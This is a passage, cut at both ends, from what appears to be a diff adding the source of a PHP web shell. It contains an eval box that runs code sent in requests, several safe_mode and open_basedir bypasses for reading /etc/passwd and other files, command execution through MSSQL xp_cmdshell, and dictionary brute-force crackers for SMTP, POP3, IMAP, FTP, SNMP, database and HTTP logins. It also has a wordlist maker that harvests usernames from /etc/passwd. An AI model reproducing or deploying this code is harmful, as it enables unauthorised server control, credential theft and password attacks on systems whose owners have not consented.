+$link=mssql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mssql_select_db($db,$link); +$result=mssql_query($query,$link); +while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mssql_num_fields($result);$i++) +$res.=mssql_field_name($result,$i).'[-][-][-]'; +mssql_close($link); +return $res; +} +break; +case 'Oracle': +if(!function_exists('ocilogon'))return 0; +$link=ocilogon($user,$pass,$db); +if($link){ +$stm=ociparse($link,$query); +ociexecute($stm,OCI_DEFAULT); +while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<oci_num_fields($stm);$i++) +$res.=oci_field_name($stm,$i).'[-][-][-]'; +return $res; +} +break; +case 'PostgreSQL': +if(!function_exists('pg_connect'))return 0; +$link=pg_connect("host=$host dbname=$db user=$user password=$pass"); +if($link){ +$result=pg_query($link,$query); +while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<pg_num_fields($result);$i++) +$res.=pg_field_name($result,$i).'[-][-][-]'; +pg_close($link); +return $res; +} +break; +} +return 0; +} +function phpevaL(){ +global $t,$hcwd,$et; +echo '<center>'; +if(!empty($_REQUEST['code'])){ +$s=array('<?php'=>'','<?'=>'','?>'=>''); +echo "<textarea rows='10' cols='64'>";echo htmlspecialchars(eval(replace_stR($s,$_REQUEST['code'])));echo '</textarea><br><br>'; +} +echo "${t}Evaler:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Codes:</td><td bgcolor='#666666'><textarea rows='10' name='code' cols='64'>";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Execute></form>$et</center>"; +} +function toolS(){ +global $t,$hcwd,$et,$cwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){ +$ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5); +fputs($ser,$_REQUEST['domaiN']."\r\n"); +echo '<pre>'; +while(!feof($ser))echo fgets($ser,1024); +echo '</pre>'; +fclose($ser); +} +elseif(!empty($_REQUEST['urL'])){ +$h=''; +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$ser=fsockopen($host,80,$en,$es,5); +if($ser){ +fputs($ser,"GET $file\r\nHost: $host\r\n\r\n"); +echo '<pre>'; +while($h!="\r\n"){$h=fgets($ser,1024);echo $h;} +echo '</pre>'; +fclose($ser); +} +} +elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){ +$htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd'; +$htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess'; +file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),base64_encode(CRYPT_STD_DES))); +file_put_contents($htaccess,"AuthName \"Secure\"\r\nAuthType Basic\r\nAuthUserFile $htpasswd\r\nRequire valid-user\r\n"); +echo '<font color=blue>Done</font>'; +} +$s="</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>"; +echo "<center>${t}WhoIs:${s}Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'whois.geektools.com'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>domain:</td><td bgcolor='#808080'><input type=text name=domaiN value='";if (!empty($_REQUEST['domaiN'])) echo htmlspecialchars($_REQUEST['domaiN']); else echo 'google.com'; echo "' size=35></td><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value='Do'></form>$et<br>${t}.ht* generator:${s}Username:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['uN'])) echo htmlspecialchars($_REQUEST['uN']);else echo 'r00t'; echo "' name=uN size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Password:</td><td bgcolor='#808080'><input type=text name=pW value='";if (!empty($_REQUEST['pW'])) echo htmlspecialchars($_REQUEST['pW']); else echo uniqid('@'); echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Directory:</td><td bgcolor='#666666'><input type=text name=ouT value='";if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']); else echo $cwd; echo "' size=35></td><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab header:${s}URL:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['urL']))echo htmlspecialchars($_REQUEST['urL']);else echo 'http://cbfteam.org'; echo "' name=urL size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Get'></form>$et<br></center>"; +} +function hexvieW(){ +if(!empty($_REQUEST['filE'])){ +$f=$_REQUEST['filE']; +echo "<table border=0 style='border-collapse: collapse' width='100%'><td width='10%' bgcolor='#282828'>Offset</td><td width='25%' bgcolor='#282828'>Hex</td><td width='25%' bgcolor='#282828'></td><td width='40%' bgcolor='#282828'>ASCII</td></tr>"; +$file=fopen($f,'r'); +$i=-1; +while(!feof($file)){ +$ln=''; +$i++; +echo "<tr><td width='10%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>";echo str_repeat('0',(8-strlen($i*16))).$i*16;echo '</td>'; +echo "<td width='25%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>"; +for($j=0;$j<=7;$j++){ +if(!feof($file)){ +$tmp=strtoupper(dechex(ord(fgetc($file)))); +if(strlen($tmp)==1)$tmp='0'.$tmp; +echo $tmp.' '; +$ln.=$tmp; +} +} +echo "</td><td width='25%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>"; +for($j=7;$j<=14;$j++){ +if(!feof($file)){ +$tmp=strtoupper(dechex(ord(fgetc($file)))); +if(strlen($tmp)==1)$tmp='0'.$tmp; +echo $tmp.' '; +$ln.=$tmp; +} +} +echo "</td><td width='40%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>"; +$n=0;$asc='';$co=0; +for($k=0;$k<=16;$k++){ +$co=hexdec(substr($ln,$n,2)); +if(($co<=31)||(($co>=127)&&($co<=160)))$co=46; +$asc.=chr($co); +$n+=2; +} +echo htmlspecialchars($asc); +echo '</td></tr>'; +} +} +fclose($file); +echo '</table>'; +} +function safemodE(){ +global $windows,$t,$hcwd,$et; +$file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file']; +$pr="\r\n</font><font color=green>Method "; +$po=")</font><font color=blue>\r\n"; +$i=1; +if(!empty($_REQUEST['read'])){ +echo "<pre>$pr$i:(ini_restore$po"; +ini_restore('safe_mode');ini_restore('open_basedir'); +readfile($file); +$i++; +echo "$pr$i:(include$po"; +include($file); +$i++; +echo "$pr$i:(copy$po"; +$tmp=tempnam('','cx'); +copy('compress.zlib://'.$file,$tmp); +$fh=fopen($tmp,'r'); +$data=fread($fh,filesize($tmp)); +fclose($fh); +echo $data; +$i++; +if(function_exists('mb_send_mail')){ +echo "$pr$i:(mb_send_mail$po"; +if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail'); +mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail'); +readfile('/tmp/mb_send_mail'); +$i++; +} +if(function_exists('curl_init')){ +echo "$pr$i:(curl_init [A]$po"; +$fh=curl_init('file://'.$file.''); +$tmp=curl_exec($fh); +echo $tmp; +$i++; +echo "$pr$i:(curl_init [B]$po"; +$i++; +if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__); +else $ch=curl_init('file://'.$file."\x00".__FILE__); +var_dump(curl_exec($ch)); +} +if(is_writable('.')){ +echo "$pr$i:(php.ini$po"; +file_put_contents('php.ini','safe_mode = Off'); +readfile($file); +unlink('php.ini'); +$i++; +} +if(is_object($ws=new COM('WScript.Shell'))){ +echo "$pr$i:(COM$po"; +echo $exec=comshelL("type \"$file\"",$ws); +$i++; +} +if(checkfunctioN('win_shell_execute')){ +echo "$pr$i:(win32std$po"; +echo winshelL("type \"$file\""); +$i++; +} +if(checkfunctioN('win32_create_service')){ +echo "$pr$i:(win32service$po"; +echo srvshelL("type \"$file\""); +$i++; +} +if(function_exists('imap_open')){ +echo "$pr$i:(imap [A]$po"; +$str=imap_open('/etc/passwd','',''); +$list=imap_list($str,$file,'*'); +for($i=0;$i<count($list);$i++)echo $list[$i]."\n"; +imap_close($str); +$i++; +echo "$pr$i:(imap [B]$po"; +$str=imap_open($file,'',''); +$tmp=imap_body($str,1); +echo $tmp; +imap_close($str); +$i++; +} +if($file=='/etc/passwd'){ +echo "$pr$i:(posix$po"; +for($uid=0;$uid<99999;$uid++){ +$h=posix_getpwuid($uid); +if(!empty($h))foreach($h as $v)echo "$v:"; +echo "\r\n"; +} +} +echo "\n</pre></font>"; +} +elseif(!empty($_REQUEST['show'])){ +echo "<pre>$pr$i:(glob$po"; +$con=glob("$file*"); +foreach ($con as $v){ + echo "$v\n"; +} +$i++; +if(function_exists('imap_open')){ +echo "$pr$i:(imap$po"; +$str=imap_open('/etc/passwd','',''); +$s=explode("|",$file); +if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*'); +for($i=0;$i<count($list);$i++)echo "$list[$i]\r\n"; +imap_close($str); +$i++; +} +if(is_object($ws=new COM('WScript.Shell'))){ +echo "$pr$i:(COM$po"; +$exec=comshelL("dir \"$file\"",$ws); +$exec=str_replace("\t",'',$exec); +echo $exec; +$i++; +} +if(checkfunctioN('win_shell_execute')){ +echo "$pr$i:(win32std$po"; +echo winshelL("dir \"$file\""); +$i++; +} +if(checkfunctioN('win32_create_service')){ +echo "$pr$i:(win32service$po"; +echo srvshelL("dir \"$file\""); +$i++; +} +echo "\n</pre></font>"; +} +elseif(!empty($_REQUEST['sql'])){ +$ta=uniqid('N'); +$s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta"); +$l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']); +mysql_select_db($_REQUEST['db'],$l); +echo '<pre><font color=blue>'; +foreach($s as $v){ +$q = mysql_query($v,$l); +while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]); +} +echo '</pre></font>'; +} +elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])){ +$res=''; +$tb=uniqid('NJ'); +$db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']); +mssql_select_db($_REQUEST['dB'],$db); +mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db); +mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db); +$re=mssql_query("select * from $tb",$db); +while(($row=mssql_fetch_row($re))) +{ +$res.= $row[0]."\r\n"; +} +mssql_query("drop table $tb",$db); +mssql_close($db); +echo "<center><textarea rows='18' cols='64'>$res</textarea></center><br>"; +} +$f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd'; +$u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'cbfteam'; +$p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456'; +$d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test'; +echo "<center>${t}Use PHP Bugs:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit name=read value='Read File'><input class=buttons type=submit name=show value='Show directory'></form>$et<br>${t}Use MySQL:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=user value='$u'></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pass value='$p'></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text name=db value='$d'></td></tr><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit name=sql value='Read'></form>$et<br>${t}MSSQL Exec:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']); else echo 'sa'; echo "' size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pasS value='";if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);echo "' size=35></td></tr><td width='20%' bgcolor='#808080'>Command:</td><td bgcolor='#808080'><input type=text name=coM value='";if (!empty($_REQUEST['coM'])) echo htmlspecialchars($_REQUEST['coM']);else echo 'dir c:';echo "' size=35></td></tr><tr><td bgcolor='#666666'>Database:</td><td bgcolor='#666666'><input type=text name=dB value='";if(isset($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);else echo 'master';echo "'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$hcwd<input class=buttons type=submit value='Execute'></form>$et</center>"; +} +function crackeR(){ +global $t,$et,$crack,$cwd; +$check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0; +if(!empty($_REQUEST['cracK']) && !$check){ +$c=htmlspecialchars($_REQUEST['cracK']); +echo "<center>$t$c cracker:$crack"; +} +elseif(!empty($_REQUEST['cracK']) && $check){ +$pro=strtolower($_REQUEST['cracK']).'checK'; +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +if($dictionary){ +echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$ret=$pro($target,$user,$pass,5); +if($ret==-1){echo "$errorbox Can not connect to server.$et";break;}else{ +if($ret){$x="U: $user P: $pass";echo "$x<br>";if($log)file_add_contentS($file,"$x\r\n");if(!$type)break;}} +} +echo '<br>Done</font>'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +else{ +echo "<center><table border=0 bgcolor=#333333><tr><td><a href='".hlinK("seC=hc&workingdiR=$cwd")."'>[Hash]</a> - <a href='".hlinK("seC=cr&cracK=SMTP&workingdiR=$cwd")."'>[SMTP]</a> - <a href='".hlinK("seC=cr&cracK=POP3&workingdiR=$cwd")."'>[POP3]</a> - <a href='".hlinK("seC=cr&cracK=IMAP&workingdiR=$cwd")."'>[IMAP]</a> - <a href='".hlinK("seC=cr&cracK=FTP&workingdiR=$cwd")."'>[FTP]</a> - <a href='".hlinK("seC=snmp&workingdiR=$cwd")."'>[SNMP]</a> - <a href='".hlinK("seC=cr&cracK=MySQL&workingdiR=$cwd")."'>[MySQL]</a> - <a href='".hlinK("seC=cr&cracK=MSSQL&workingdiR=$cwd")."'>[MSSQL]</a> - <a href='".hlinK("seC=fcr&workingdiR=$cwd")."'>[HTTP Form]</a> - <a href='".hlinK("seC=auth&workingdiR=$cwd")."'>[HTTP Auth(basic)]</a> - <a href='".hlinK("seC=dic&workingdiR=$cwd")."'>[Dictionary maker]</a>$et</center>"; +} +} +function snmpcrackeR(){ +global $t,$et,$errorbox,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if($dictionary){ +echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>'; +while(!feof($dictionary)){ +$com=trim(fgets($dictionary)," \n\r"); +$res=snmpchecK($target,$com,2); +if($res){echo "$com<br>";if($log)file_add_contentS($file,"$com\r\n");} +} +echo '<br>Done</font>'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}SNMP cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'>$hcwd<tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit value=Start></form>$et</center>"; +} +function dicmakeR(){ +global $errorbox,$windows,$footer,$t,$et,$hcwd; +$combo=(empty($_REQUEST['combo']))?0:1; +if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ +$min=$_REQUEST['min']; +$max=$_REQUEST['max']; +if($max<$min)die($errorbox."Bad input!$et".$footer); +$s=$w=''; +$out=$_REQUEST['output']; +$r=$_REQUEST['range']; +$dic=fopen($out,'w'); +if($r==1){ +for($s=pow(10,$min-1);$s<pow(10,$max-1);$s++){ +$w=$s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +} +} +else{ +$s=str_repeat($r,$min); +while(strlen($s)<$max){ +$w=$s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++; +} +} +fclose($dic); +echo '<font color=blue>Done</font>'; +} +elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ +$input=fopen($_REQUEST['input'],'r'); +if(!$input){ +if($windows)echo $errorbox.'Unable to read from '.htmlspecialchars($_REQUEST['input'])."$et<br>"; +else{ +$input=explode("\n",shelL("cat $input")); +$output=fopen($_REQUEST['output'],'w'); +if($output){ +foreach($input as $in){ +$user=$in; +$user=trim(fgets($in)," \n\r"); +if(!strstr($user,':'))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo '<font color=blue>Done</font>'; +} +} +} +else{ +$output=fopen($_REQUEST['output'],'w'); +if($output){ +while(!feof($input)){ +$user=trim(fgets($input)," \n\r"); +if(!strstr($user,':'))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo '<font color=blue>Done</font>'; +} +else echo $errorbox.' Unable to write data to '.htmlspecialchars($_REQUEST['input'])."$et<br>"; +} +}elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ +$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); +if($combo && $res){ +$file=file($_REQUEST['output']); +$output=fopen($_REQUEST['output'],'w'); +foreach($file as $v)fwrite($output,"$v:$v\n"); +fclose($output); +} +echo '<font color=blue>Done</font>'; +}else{ +$temp=whereistmP().DIRECTORY_SEPARATOR; +echo "<center>${t}Wordlist generator:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Range:</td><td bgcolor='#666666'><select name=range><option value=a>a-z</option><option value=A>A-Z</option><option value=1>0-9</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Min lenght:</td><td bgcolor='#808080'><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Max lenght:</td><td bgcolor='#666666'><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox name=combo style='border-width:1px;background-color:#666666;' value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Grab from:</td><td bgcolor='#666666'><input type=text value='/etc/passwd' name=input size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Grab></form>$et<br>${t}Download dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>URL:</td><td bgcolor='#666666'><input type=text value='http://vburton.ncsa.uiuc.edu/wordlist.txt' name=url size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#000000'></td><td bgcolor='#000000'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Get></form>$et</center>";} +} +function ftpclienT(){ +global $t,$cwd,$hcwd,$errorbox,$et; +$td="<td bgcolor='#333333' width='50%'>"; +if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){ +$user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT']; +$con=ftp_connect($_REQUEST['hosT'],21,10); +if($con){ +$ftp=ftp_login($con,$user,$pass); +if($ftp){ +if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']); +if(!empty($_REQUEST['filE'])){ +$file=$_REQUEST['filE']; +$mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII; +if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode); +elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode); +elseif(isset($_REQUEST['rM'])){ +ftp_rmdir($con,$file); +ftp_delete($con,$file); +} +elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file); +} +$pwd=ftp_pwd($con); +$dir=ftp_nlist($con,''); +$d=opendir($cwd); +echo "<table border=0 style='border-collapse: collapse' width='100%'><tr>${td}Server:</td>${td}Client:</td></tr><form method=POST><tr>$td<input type=text value='$pwd' name=PWD size=50><input value=Change class=buttons type=submit></td>$td<input size=50 type=text value='$cwd' name=workingdiR><input value=Change class=buttons type=submit></td></tr><tr>$td"; +foreach($dir as $n)echo "$n<br>"; +echo "</td>$td";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir<br>"; echo "</td></tr><tr>${td}Name:<input type=text name=filE><input type=checkbox style='border-width:1px;background-color:#333333;' name=modE value=1>Binary <input type=submit name=geT class=buttons value=Get><input type=submit name=puT class=buttons value=Put><input type=submit name=rM class=buttons value=Remove><input type=submit name=mD class=buttons value='Make dir'></td>$td<input type=hidden value='$user' name=useR><input type=hidden value='$pass' name=pasS><input type=hidden value='$host' name=hosT></form>$et"; +}else echo "$errorbox Wrong username or password$et"; +}else echo "$errorbox Can not connect to server!$et"; +} +else{ +echo "<center>${t}FTP cilent:</td><form name=client method='POST'><td bgcolor='#333333'></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value=localhost name=hosT size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value=anonymous size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value=admin@nasa.gov name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Connect></form>$et</center>"; +} +} +function calC(){ +global $t,$et,$hcwd; +$fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev'); +if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){ +$to=$_REQUEST['to']; +echo "<center>${t}Output:<br><textarea rows='10' cols='64'>"; +if($to=='hex')for($i=0;$i<strlen($_REQUEST['input']);$i++)echo '%'.strtoupper(dechex(ord($_REQUEST['input']{$i}))); +else echo $to($_REQUEST['input']); +echo "</textarea>$et</center><br>"; +} +echo "<center>${t}Happy c0nverting !:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Input:</td><td bgcolor='#666666'><textarea rows='10' name='input' cols='64'>";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#808080'>Task:</td><td bgcolor='#808080'><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>Crc32</option><option value=strrev>Reverse</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=decbin>Decimal to binary</option><option value=bindec>Binary to decimal</option><option value=dechex>Decimal to hex</option><option value=hexdec>Hex to decimal</option><option value=hex>ASCII to hex</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right><input class=buttons type=submit value=Convert>$hcwd</form>$et</center>"; +} +function authcrackeR(){ +global $errorbox,$et,$t,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$data=''; +$method=($_REQUEST['method'])?'POST':'GET'; +if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} +spliturL($_REQUEST['target'],$host,$page); +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +if($method=='GET')$page.=$data; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +echo '<font color=blue>'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$so=fsockopen($host,80,$en,$es,5); +if(!$so){echo "$errorbox Can not connect to host$et";break;} +else{ +$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); +if($method=='POST')$packet.='Content-Type: application/x-www-form-urlencoded\r\nContent-Length: '.strlen($data); +$packet.="\r\n\r\n"; +$packet.=$data; +fputs($so,$packet); +$res=substr(fgets($so),9,2); +fclose($so); +if($res=='20'){echo "U: $user P: $pass</br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");} +} +} +echo 'Done!</font>'; +}else echo "<center><form method='POST' name=form>${t}HTTP Auth cracker:</td><td bgcolor='#333333'><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='20%' 